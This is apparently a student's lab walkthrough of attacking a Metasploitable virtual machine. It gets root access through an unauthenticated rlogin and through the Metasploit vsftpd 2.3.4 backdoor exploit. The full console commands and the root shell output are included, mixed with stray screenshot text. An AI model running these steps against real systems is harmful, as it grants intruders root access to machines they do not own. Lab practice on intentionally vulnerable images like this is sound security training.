

Steps to be followed:-

1. Run the metasploitable(meta) image on oracle VM machine(or any other Virtual Machine).
2. Run the **ifconfig** command on the meta image after logging in with the credentials (in most cases username:msfadmin, password:msfadmin)
3. Check the IP address of the meta engine(mostly it's 10.0.2.4 or 10.0.2.15)
4. Then using the shell i.e. command terminal of Linux, entering into root user by using the command **sudo su**, then type in the credentials and run the following command
rlogin -l root 10.0.2.4 (IP address of the meta machine checked in step 3)
5. Then use the **ls** command to display the root directories and files stored on the metasploitable database(server).
6. The using the **cd ..** command display other files and directories of the meta image.
7. Then open a new shell in Kali Linux and type **msfconsole**, this would open a console of metasploitable server.
8. Then type in the following command to create a backdoor **use exploit/unix/ftp/vsftpd_234_backdoor**
9. Then type the **show options** command to display the RHOSTS and RPORTS.
10. Use the command **set rhost 10.0.2.4**(IP address of the metasploitable server found in step 3) and **set rport 21**
11. Then type in **exploit** command.
12. On successful exploit it would create a session shell
13. Now type in the **ls** command to display all the directories and files on Metasploitable server
14. Then type **cd root** , now one enters into the root directory and the type **ls**

In Step 5 and Step 14:-

There were 3 directories wiz **Desktop**, **reset_logs.sh** and **vnc.log**

So we have accessed the files of a virtual web server (metasploitable server image) using the msfconsole and .inet .rsh

```
TX packets:169 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:56877 (55.5 KB) TX bytes:56877 (55.5 KB)

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:31:97:22
          inet addr:10.0.2.4  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe31:9722/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:177 errors:0 dropped:0 overruns:0 frame:0
          TX packets:190 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:16458 (16.0 KB)  TX bytes:21786 (21.2 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:169 errors:0 dropped:0 overruns:0 frame:0
          TX packets:169 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:56877 (55.5 KB)  TX bytes:56877 (55.5 KB)

msfadmin@metasploitable:~$ _
```



Mouse integration ...

```
$ sudo su
```

```
[sudo] password for advait:
```

```
(root@10)-[/home/advait]
```

```
# rlogin -l root 10.0.2.4
```

```
Last login: Sat Aug 5 10:33:29 EDT 2023 from 10.0.2.15 on pts/1
```

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

You have mail.

```
root@metasploitable:~# ls
```

```
Desktop reset_logs.sh vnc.log
```

```
root@metasploitable:~# cd root
```

```
-bash: cd: root: No such file or directory
```

```
root@metasploitable:~# cd ..
```

```
root@metasploitable:~# ls
```

```
bin boot cdrom dev etc home initrd initrd.img lib lost+found media mnt nohup.out opt proc root sbin srv sys tmp usr var vmlinuz
```

```
root@metasploitable:~#
```



Snipping Tool

New Mode Delay Cancel Options

Select the snip mode using the Mode button or click the New button.

Snipping Tool is moving...

In a future update, Snipping Tool will be moving to a new home. Try improved features and snip like usual with Snip & Sketch (or try the shortcut Windows logo key + Shift + S).

Try Snip & Sketch



Amazon
Sponsored



Trivago
Sponsored



send-anyw...



github



10.0.2.4



subgraph



sourceforge



platform.o...

```
$ ifconfig
```

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
    inet6 fe80::a00:27ff:fe7c:6caa prefixlen 64 scopeid 0<link>
    ether 08:00:27:7c:6c:aa txqueuelen 1000 (Ethernet)
    RX packets 53239 bytes 66871544 (63.7 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 19356 bytes 2704240 (2.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 462 bytes 29380 (28.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 462 bytes 29380 (28.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
/ it looks like you're trying to run a \
\ module \
```

```
=[ metasploit v6.3.25-dev ]
+ --=[ 2332 exploits - 1219 auxiliary - 413 post ]
```

```
= [ metasploit v6.3.25-dev ]
+ -- [ 2332 exploits - 1219 auxiliary - 413 post ]
+ -- [ 1385 payloads - 46 encoders - 11 nops ]
+ -- [ 9 evasion ]
```

Metasploit tip: Enable verbose logging with `set VERBOSE true`

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > list
[-] Unknown command: list
msf6 > ls
[*] exec: ls
```

crackpassword Desktop Documents Downloads hulk hulk.git msfinstall Music my_captain_ethical_hacking_july_2023 node_modules package.json package-lock.json passwords Pictures Public task3.apk Templates Videos

```
msf6 > use exploit
^C[-] use: Interrupted
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

Id	Name
0	Automatic

View the full module info with the info, or info -d command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.15
```

```
rhost => 10.0.2.15
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rport 21
```

```
rport => 21
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.15	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Exploit target:

Id	Name
0	Automatic

View the full module info with the info, or info -d command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 10.0.2.15:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:21).
```

```
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.4
```

```
rhost => 10.0.2.4
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```


View the full module info with the info, or info -d command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[-] 10.0.2.15:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:21).
```

```
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.4
```

```
rhost => 10.0.2.4
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 10.0.2.4:21 - Banner: 220 (vsFTPd 2.3.4)
```

```
[*] 10.0.2.4:21 - USER: 331 Please specify the password.
```

```
[+] 10.0.2.4:21 - Backdoor service has been spawned, handling...
```

```
[+] 10.0.2.4:21 - UID: uid=0(root) gid=0(root)
```

```
[*] Found shell.
```

```
[*] Command shell session 1 opened (10.0.2.15:43977 → 10.0.2.4:6200) at 2023-08-05 19:53:08 +0530
```

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
ls
Desktop
reset_logs.sh
vnc.log
```



Amazon
Sponsored



Trivago
Sponsored



send-anyw...



github



10.0.2.4



subgraph



sourceforge



platform.o...